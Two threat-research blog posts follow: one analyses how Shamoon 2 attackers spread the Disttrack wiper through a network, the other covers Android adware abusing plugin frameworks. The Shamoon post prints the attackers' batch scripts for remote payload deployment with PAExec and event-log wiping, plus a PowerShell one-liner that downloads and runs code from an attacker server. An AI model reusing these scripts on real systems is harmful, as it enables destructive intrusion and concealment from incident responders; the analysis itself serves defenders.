Our analysis also shows an actor distributes Disttrack within the targeted network by first compromising a system that is used as the Disttrack distribution server on that network. The actor then uses this server to compromise other systems on the network by using the hostname to copy over and execute the Disttrack malware. On each of these named systems that are successfully compromised, the Disttrack malware will attempt to propagate itself to 256 additional IP addresses on the local network. This rudimentary, but effective, distribution system can enable Disttrack to propagate to additional systems from a single, initially compromised system in a semi-automated fashion.

In this posting we also explore a possible connection between Shamoon 2 and the Magic Hound campaign, where we outline evidence of a potential connection between these two attack campaigns. Furthermore, we explore a possible scenario on how these two attack campaigns could have worked in conjunction with each other to execute the Shamoon 2 attacks.

Delivery Method

Since our initial blog discussing the reemergence of Shamoon in November 2016, we were curious how the threat actor initially delivers the Disttrack payload to the targeted network. We were equally curious about how Disttrack was so effective at causing mass destruction on targeted networks, as we mentioned in our initial blog that the Disttrack Trojan itself is only able to spread to 256 IP addresses on the same local network as the compromised host.

From gathering files associated in the third wave of Shamoon 2 attacks, we found a Zip archive that contains files which the attacker used to infect other systems on the targeted network from a single compromised system they then use as a Disttrack distribution server. The actor deploys the Zip archive to this distribution server by logging in to the compromised system using Remote Desktop Protocol (RDP) with stolen, legitimate credentials and downloading the Zip from a remote server. The actor uses this single compromised system to distribute Disttrack to other systems in different parts of the network, where the Disttrack Trojan would attempt to spread to 256 other systems on each local network. The chart in Figure 1 visualizes the delivery of Disttrack at a high level.

Figure 1 High-level view of Disttrack deployment in Shamoon 2 attack

Distributing Disttrack

As mentioned before, we obtained files used by the threat actors to deploy the Disttrack payload to additional systems on the network. While we do not know exactly how the threat actor initially compromised and gained RDP access to the Disttrack distribution server, we believe the actor downloads a Zip archive contained a number of files to this system, including files with names listed in Table 1. The set of files saved to the distribution server includes executables, batch scripts and text files. We will explain the purpose and contents of each of these files and how the actor uses them in the deployment of Disttrack.

Filename	Description
exec-template.txt	Launcher commands (not a batch script) the actor runs to launch the deployment of the Disttrack payload onto additional systems at the targeted organization
1.txt – 400.txt	Sequentially named text files containing DNS values for hostnames of systems on targeted network
ok.bat	Deployment batch script
ntertmgr32.bat	Disttrack installation batch script
ntertmgr32.exe	Disttrack payload
pa.exe	PAExec, Power Admin’s open source PsExec alternative

Table 1 Files associated with the Disttrack Distribution Server

When deploying Disttrack on the targeted network, the threat actor runs the commands stored in the exec-template.txt file that reads in the contents of each of the “1.txt” through “400.txt” text files, which contain a list of hostnames of systems on the network, one hostname per line. The commands then run the “ok.bat” deployment batch script once for each hostname from the text files. Figure 2 shows the contents of the “exec-template.txt” launcher script, which uses for loops to run the deployment batch script using each hostname within the text files as an argument (lines removed for brevity).

for /F %J in (1.txt) do ok.bat %J
for /F %J in (2.txt) do ok.bat %J
for /F %J in (3.txt) do ok.bat %J
for /F %J in (4.txt) do ok.bat %J
for /F %J in (5.txt) do ok.bat %J
for /F %J in (6.txt) do ok.bat %J
for /F %J in (7.txt) do ok.bat %J
for /F %J in (8.txt) do ok.bat %J
for /F %J in (9.txt) do ok.bat %J
for /F %J in (10.txt) do ok.bat %J
for /F %J in (11.txt) do ok.bat %J
for /F %J in (12.txt) do ok.bat %J
for /F %J in (13.txt) do ok.bat %J
for /F %J in (14.txt) do ok.bat %J
for /F %J in (15.txt) do ok.bat %J
..snip..
for /F %J in (399.txt) do ok.bat %J
for /F %J in (400.txt) do ok.bat %J

for /F %J in (1.txt) do ok.bat %J

for /F %J in (2.txt) do ok.bat %J

for /F %J in (3.txt) do ok.bat %J

for /F %J in (4.txt) do ok.bat %J

for /F %J in (5.txt) do ok.bat %J

for /F %J in (6.txt) do ok.bat %J

for /F %J in (7.txt) do ok.bat %J

for /F %J in (8.txt) do ok.bat %J

for /F %J in (9.txt) do ok.bat %J

for /F %J in (10.txt) do ok.bat %J

for /F %J in (11.txt) do ok.bat %J

for /F %J in (12.txt) do ok.bat %J

for /F %J in (13.txt) do ok.bat %J

for /F %J in (14.txt) do ok.bat %J

for /F %J in (15.txt) do ok.bat %J

..snip..

for /F %J in (399.txt) do ok.bat %J

for /F %J in (400.txt) do ok.bat %J

Figure 2 Contents of the exec-template.txt batch script

At first, we believed the actor would change the file extension of the exec-template.txt file to “.bat” and execute it as a batch script. We no longer believe this is the case as the “for” commands contained within exec-template.txt reference variables using a single percent symbol, specifically “%J” as seen in Figure 2. This causes a syntax error if executed within a batch script. According to MSDN, to execute these “for” commands within a batch script, the actor would have to use two percent symbols, specifically “%%J” in this case. We now believe that the threat actor manually copies the contents of exec-template.txt and pastes these commands directly within command prompt to run them.

We cannot show the contents of the “1.txt” through “400.txt” files, as they contain new-line-delimited lists of the DNS names for hosts specific to the targeted organizations.

In the files we obtained from the Disttrack distribution server, there were only 29 instead of 400 text files, each of which contained 30 hostnames, except for the last one only containing four for a total of 844 hostnames. In the text files we analyzed, the hostnames were included as their DNS name, specifically in the format <computer name>.<domain name>.local, which we believe shows they were obtained directly from Active Directory on a domain controller. The importance of including the DNS names for these hosts on the network is that is allows the actor to connect to these systems in subsequent commands.

The “ok.bat” batch script runs once per hostname mentioned above. This batch script is responsible for deploying Disttrack on each of these systems on the network. The script begins by copying two files to the “C:\Windows\temp” folder on the remote system. The two copied files – named “ntertmgr32.exe” and “ntertmgr32.bat” – are the Disttrack payload and a batch script used to install the Disttrack payload on the local system, respectively. The “ok.bat” script uses the PAExec (“pa.exe”) application to run the “ntertmgr32.bat” installation script on the remote system. The batch script also attempts to clear event logs via the Windows built-in “wevtutil” utility in an attempt to conceal their activities and disrupt incident response and forensic analysis. Figure 3 shows the contents of the “ok.bat” script. Interestingly, the actor included an argument “-r SVCNSS”, which is an invalid argument for PAExec and the actor would need to remove it prior to distribution. The “-r” argument is a valid argument within Microsoft’s PsExec that specifies the name of the remote service to create, suggesting the threat actors may have also used the PsExec application for distribution as well.

copy /Y ntertmgr32.bat \\%1\C$\Windows\temp\
copy /Y ntertmgr32.exe \\%1\C$\Windows\temp\
pa.exe \\%1 -r SVCNSS -s -d C:\\Windows\temp\ntertmgr32.bat
for /F %%i in ('wevtutil el /r:%1' ) do (wevtutil cl /r:%1 %%i )

copy /Y ntertmgr32.bat \\%1\C$\Windows\temp\

copy /Y ntertmgr32.exe \\%1\C$\Windows\temp\

pa.exe \\%1 -r SVCNSS -s -d C:\\Windows\temp\ntertmgr32.bat

for /F %%i in ('wevtutil el /r:%1' ) do (wevtutil cl /r:%1 %%i )

Figure 3 Contents of the ok.bat batch script

The “ntertmgr32.bat” batch script that runs on each end system is responsible for installing the Disttrack payload as a service on the local system. The batch script, as seen in Figure 4, first copies the Disttrack payload (“ntertmgr32.exe”) to the “C:\Windows\System32” folder and then executes the newly copied file using the “start” command with “service” as an argument. This script not only installs but also launches the Disttrack payload.

@echo off
set u100=ntertmgr32.exe
set u200=service
set u800=%~dp0
copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%"
start /b %systemroot%\system32\%u100% %u200%

@echo off

set u100=ntertmgr32.exe

set u200=service

set u800=%~dp0

copy /Y "%u800%%u100%" "%systemroot%\system32\%u100%"

start /b %systemroot%\system32\%u100% %u200%

Figure 4 Contents of the ntertmgr32.bat batch script

Once the Disttrack payload executes, it will begin carrying out its functionality, specifically attempting to spread to other systems on the local network and wiping systems at a pre-defined time in the future. As discussed in our initial blog on Shamoon 2, the Disttrack payload will attempt to infect additional systems on the same subnet (x.x.x.0-x.x.x.255) by logging in to the remote system, copying itself to the system, and executing the copied payload by creating a scheduled task to run the payload.

Disttrack Distribution System – Possible Link to Magic Hound

As mentioned earlier in this blog post, we know that the threat actor downloads several files to the distribution server to infect systems on the network with Disttrack. In addition to the files mentioned in the previous section, it appears that the threat actor copied a PowerShell script to the distribution server as well. This PowerShell script, seen in Figure 5, appears to have been generated by Metasploit’s “web_delivery” module to download and execute a payload from a remote server at 45.76.128[.]71, which we speculate was used to create a meterpreter session on the system.

powershell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadString("http://45.76.128.71:8080/[random string redacted]");

1	powershell.exe -nop -w hidden -c $L=new-object net.webclient;$L.proxy=[Net.WebRequest]::GetSystemWebProxy();$L.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $L.downloadString("http://45.76.128.71:8080/[random string redacted]");

Figure 5 PowerShell script used to download files to distribution system

The server hosting the files has an IP address of 45.76.128[.]71, which resides within the IP range associated with a cloud hosting service that allows customers to create server instances in specific geographic locations and configurations. According to GeoIP mapping data for 45.76.128[.]71, it appears this IP range is geographically based in the London cloud instance. The use of this specific IP is interesting, as the Magic Hound campaign we previously reported on (February 2017) used a command and control (C2) server at 45.76.128[.]165, which is on the same Class C IP range.

While we cannot conclusively state the existence of a specific relationship between the Shamoon and Magic Hound adversaries, there are now several factors that are suggestive of some form of association, including:

Targeting of entities within Saudi Arabia.
Use of the same cloud computing service in the same Class C IP range.
Use of PowerShell and meterpreter.

Taken together, these are all factors to consider when postulating a relationship between the Shamoon and Magic Hound attackers. Furthermore, it is possible that these artifacts were some of the factors used by our peers at X-Force and Kaspersky to tie the Magic Hound attacks to Shamoon.

If the Magic Hound attacks are indeed related to the Shamoon attack cycle, we may be able to hypothesize that the Magic Hound attacks were used as a beachhead to perform reconnaissance for the adversaries and gather network information and credentials. This may be further supported by the initial Magic Hound payloads we discovered, Pupy RAT and meterpreter, both of which have these types of capabilities.

Conclusion

We have determined that the actors conducting the Shamoon 2 attacks use one compromised system as a distribution point to deploy the destructive Disttrack Trojan to other systems on the targeted network, after which the Disttrack malware will seek to propagate itself even further into the network. Using an open source utility called PAExec and several batch scripts, the actor copies the Disttrack payload to other systems on the network, which we believe are discovered directly from Active Directory or through network reconnaissance activities. Once the Disttrack payload has been deployed to these initial hosts, Disttrack will attempt to spread on their local networks to amplify the impact of the attack. While the actors interact directly with the distribution system, the use of this single compromised system allows the actors to automate the deployment of the payload to quickly infect systems on the targeted network. Also, these findings provide a possible relation between the Shamoon and Magic Hound attack campaigns. We will continue to analyze these attacks to determine further activities carried out by these actors and expose any additional correlations to known threat groups.

The theft and subsequent reuse of credentials is a common element in many attackers’ playbooks. We have recently published a white paper, “Credential-Based Attacks: Exposing the Ecosystem and Motives Behind Credential Phishing, Theft and Abuse,” detailing how credentials are stolen and later abused, with guidance on how you can defend yourself and your organization against this type of threat. Collectively, the Shamoon 2 attacks are a good example not only of ways attackers obtain stolen credentials but also of what they can do with them.

Indicators of Compromise

4919436d87d224f083c77228b48dadfc153ee7ad48dd7d22f0ba0d5090b5cf9b: exec-template.txt
5475f35363e2f4b70d4367554f1691f3f849fb68570be1a580f33f98e7e4df4a: ok.bat
01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc: pa.exe
c7f937375e8b21dca10ea125e644133de3afc7766a8ca4fc8376470277832d95: ntertmgr32.bat

Ignite '17 Security Conference: Vancouver, BC June 12–15, 2017

Ignite '17 Security Conference is a live, four-day conference designed for today’s security professionals. Hear from innovators and experts, gain real-world skills through hands-on sessions and interactive workshops, and find out how breach prevention is changing the security industry. Visit the Ignite website for more information on tracks, workshops and marquee sessions.

A New Trend in Android Adware: Abusing Android Plugin Frameworks

Posted on March 22, 2017November 1, 2018 by Cong Zheng

It is common for legitimate mobile apps to embed advertising SDKs or promote other apps. Showing ads or promoting other apps can generate revenue for legitimate app developers. However, we have recently observed an alarming trend in mobile ads communities where some adware programs in the Google Play store have become more aggressive by abusing the third-party DroidPlugin framework on Android.

In this posting we will outline how Unit 42 researchers have found aggressive adware that abuses the third-party DroidPlugin framework on Android. Our researchers have worked with Google to share our findings and have all apps that were found to violate Google’s terms of service removed from the Google Play store.

The “Good” and “Bad” of Android Plugin Technology

Plugin technology was initially introduced by third parties to add additional enhancements and capabilities to Android. For instance, there are apps that use this capability to enable a user to run two Twitter apps on one phone. Plugin technology can also improve the speed of hot patching. Unfortunately, the enhancements and capabilities that plugin technology offers can be used for malicious ends. Malware authors have been abusing legitimate Plugin technology to achieve ends like bypassing antimalware technology on devices, especially the static scanners. We’ve discussed this already in our research on PluginPhantom. Other researchers have discussed how this technology can be abused for phishing attacks.

Previously research has found malware have abusing the most popular open source plugin frameworks, “DroidPlugin” and “VirtualApp”. Both frameworks can launch arbitrary Android apps, theoretically without them being installed on the phone. Technically, the Android plugin technology is an application-level virtualization environment.

Unit 42 researchers have recently found how Android plugin functionality has become an innovative way to promote apps through adware. A plugin-enabled app has the ability to automatically launch different apps without installing them. This provides a shortcut for adware to make revenue from ad networks as the promoted app can be launched on without any user interaction.

This type of app promotion can post security risks because of the comparatively weak security mechanisms used in current plugin frameworks. These plugin frameworks lack the ability to separate permissions and isolate data amongst different plugin instances. Thus, when a promoted app is executed through the plugin framework, it has the same permissions as the host app (typically all Android permissions) and can access the data of the host app or other plugin apps. This violates an important aspect of Android Application Sandbox:

“The Android Application Sandbox, which isolates your app data and code execution from other apps.”

Legitimate apps that assume they will always be running in their own application sandbox are now at risk because they cannot predict if their app will be launched in a plugin environment.

For example, in Google Play, we have observed that 32 apps use the DroidPlugin framework, and 21 apps use the VirtualApp framework. Most of them are PUPs (potentially unwanted programs) or adware, which have been removed from Google Play (listed below in the appendix).

In the following examples, we will demonstrate how two adware families abuse plugin technology in the new app promotion style.

Example 1: Automated and Aggressive App Promotion

In September 2016, the developers of an app named “Clean Doctor” (package name: “com.nianclub.cleandoctor”) made it more aggressive in version 1.2.0. This adware abuses the VirtualApp framework. Its evolution timeline in Google Play is showed in Figure 1.

Figure 1 Evolution timeline of “Clean Doctor”

Clean Doctor vs other Adware:

To promote apps, adware commonly downloads apps and then frequently displays the app installation GUI to the user. After users have installed the app, the adware creator receives a payment for “promoting” the new app. Clean Doctor (CD) took a different tactic to accomplish the same goal.

CD fetches task information from its C2 server “familysdk[.]com” and stealthily downloads many promoted apps from a cloud storage service. It does not request users install these downloaded apps but instead launches the apps one of two different ways:

1. Launch by clicking the shortcut:
CD creates shortcuts on the devices’ home screen for each downloaded app (Figure 2). When the user clicks the shortcut, it launches the corresponding app as a plugin app in the “Clean Doctor” sandbox. For most Android users, it is very difficult to notice the difference between this kind of launch and the default launch mode when clicking a shortcut. For example, when a user clicks the shortcut of the game “Evony: Battle On”, this game will be directly and immediately displayed but the game is actually launched as a plugin app and is running in the plugin virtual environment.

Figure 2 Created shortcuts of promoted apps

2. Automatically launch:
As all plugin apps are under the full control by the host app, the host app can control the lifecycle of each plugin app. CD can automatically launch the promoted app as a plugin app when receiving system events.

Figure 3 A promoted game app is launched as a plugin

Example 2: Multiple Apps Promotion

At the end of January 2017, we observed that developers of an adware app in Google Play called “bloodpressure” (package name: “com.blood.pressure.bost”) had also made it more aggressively promote apps by abusing the Android plugin technology. This adware automatically launches a separate app to display ads and recommends multiple apps in a single screen.

The adware started using the embedded VirtualApp framework with version 2.5, but it was removed Google Play at the start of February 2017. At the time of its removal it’s installation count was between 10,000 and 50,000 installs. The lifecycle of this adware in Google Play is shown in Figure 4.

Figure 4 Timeline of evolution to plugin adware for “bloodpressure” app

Compared to Other Adware

Most advertising SDKs use the webview component to display ads such as banner ads and full screen ads. Apps built using these SKDs can only display one ad at a time. The bloodpressure adware sample we found is different and can display advertisements for many apps to the user on a single screen. To achieve this, the adware automatically launches a plugin app, in which many ads are displayed together (Figure 5). This technique is not as harmful as simply launching promoted apps without the user’s interaction, but does allow the adware author more opportunities to have a promoted app installed.

Figure 5 The plugin app displays multiple ads

Technical Analysis

The workflow of this adware is depicted in Figure 6, and is explained as follows.

1. Get configuration from the remote server:
Once the host app launched, it connects to the remote server via the URL http[:]//qwe.ortpale[.]com/conf/bloodinfo.txt to get a configuration file. It is interesting to note that the User-Agent property in the HTTP request header is set to “Ray-Downer.”

2. Decode and save plugin app
The host app includes a raw resource named “protect.data”. This resource file is actually an encoded plugin APK file. The host app decodes this file and saves it.

3. Install plugin app
The host app takes advantage of VirtualApp framework to install the plugin app within the host app’s own sandbox.

4. Launch plugin app
After installing the plugin app successfully, the host app can launch the plugin via invoking VirutalApp’s API. Once the plugin app starts, it begins displaying adds to the user.

Figure 6 Plugin Adware Operation

Conclusion

The Android plugin technology makes it possible for adware authors to make a profit in a new way. This kind of abuse is harmful to ad networks as well as Android users. We hope that the mobile development community and the security community will work together to solve security problems in the Android Plugin technology. Android users should learn that the private data of their plugin apps and their devices are at great risk when operating in an Android Plugin environment.

Customers of Palo Alto Networks are protected by our WildFire and URL filtering services. WildFire has successfully detected adware samples, which abuse the Android plugin technology. The related C2 URLs used by above two adware families have been marked as malicious.

Acknowledgement

We greatly appreciate the help from Ryan Olson and Kirill Zemnucha from Palo Alto Networks in working on this the blog publication and the original discovery of adware samples.

Other Removed Plugin Apps in Google Play

App Name	Package name	Developer name
Whale Camera	com.bird.sky.whale.camera	yu tongshi
Deep Cleaner	com.blue.deep.cleaner	yang songxi
Ice Camera	com.cool.ice.camera	mo tengbao
Sweet Camera	com.filter.sweet.camera	hou hanying
Orange Camera	com.fishing.when.orangecamera	chen shunya
穿越VPN	com.fvcorp.ffclient.cs	林曦
Funny Camera	com.g360.funny.camera	qiu shixiu
Hot Camera	com.group.hotcamera	group
Insta Save for Instagram	com.inslab.instasaver	Li Game Studio Ltd.
Top Instagram Followers	com.itop.top100insfollowers	Dongli Level Studio
礼物说-礼物和全球好货指南	com.liwushuo.gifttalk	TieTie Technology
Dual whazaap-alike ogwhastapp	com.mob.dualwha	qumobile
Wallpaper -recomended by 9apps	com.mobile.ninewallpaper1	JiangHeng0255ss
Blinking Camera	com.op.blinking.camera com.op.blinkingcamera	yan huixin
File master-pro	com.tec.file.master	yan linqin
file explorer	global.fm.filesexplorer	tian xiexin
X Camera	com.g360.zcamera	steve zhao
Dual whats'app: Multi Account	com.multi.account.parallel.dual	Dev Tools Studio
Multi Messenger for WhatsWeb	com.multi.whatweb	What Multi APP
Clean Doctor: Safe & Clean	com.nianclub.cleandoctor	li lusong
AppLock	com.security.multiple.account.applock	ScreenLock Apps, Password to Secure Privacy
2Lines for WhatsApp	com.tenappsmultiwhat	KTeam
Downtuber : video downloader	com.yiyue.wuhao	li qinkui
Multi Space \| Dual App	dotapps.multispace	Dot Apps Studio
2 Whazzap NoRoot	dotapps.multiwhats	Dot application
Game Talent - Booster & Tuner	opt.game.talent	Game Talent

Sample SHA256 Hashes:

5e5bea52b1f9fcbd78c990cd09057780ebda669a5b632a8dd46ecfcfbfaf6369
24d308a8f2bcabd97b0e7acba8e22821914e464cdb7d0ed61a26400456870edd
6c2a23c0ca361fabc95e2eac3a13641cafe53803c8a4fc32b8a182374ac32ee1
dec71f2464bdfcc7a8fae02e2c103a31b746aa798aeebe1721ccd037156106f4
748dae1604fb0b747bcdeb476aea7d1f6bbec7d7a260613241a9fc3ef1243c66
ee7b82ef97928e0e4d100eb82c37bac6d87ee275cc89ec67c3f8a64fd13561be
5467ebe255bd59912c61aa1b801ea93972672885bfa29c3ee9756342ceb65228
49a9767d1775dd45545ea8fff1250e89fa6fd0c1a694b6583f4e79cd1b14c162
95d12555b71adf13eb40cb78c2f8cfa17aeaaf6f063bcd209a6037463e8fca66
d1916eb07c0a8494df21f8453511df6655fe1bc07efb37b526eae8724665ab91
4e25245dc9c0c8b6cf98e9fcdd6f94dd8e0dad7ad526248999f913682df28531

Ignite ’17 Security Conference: Vancouver, BC June 12–15, 2017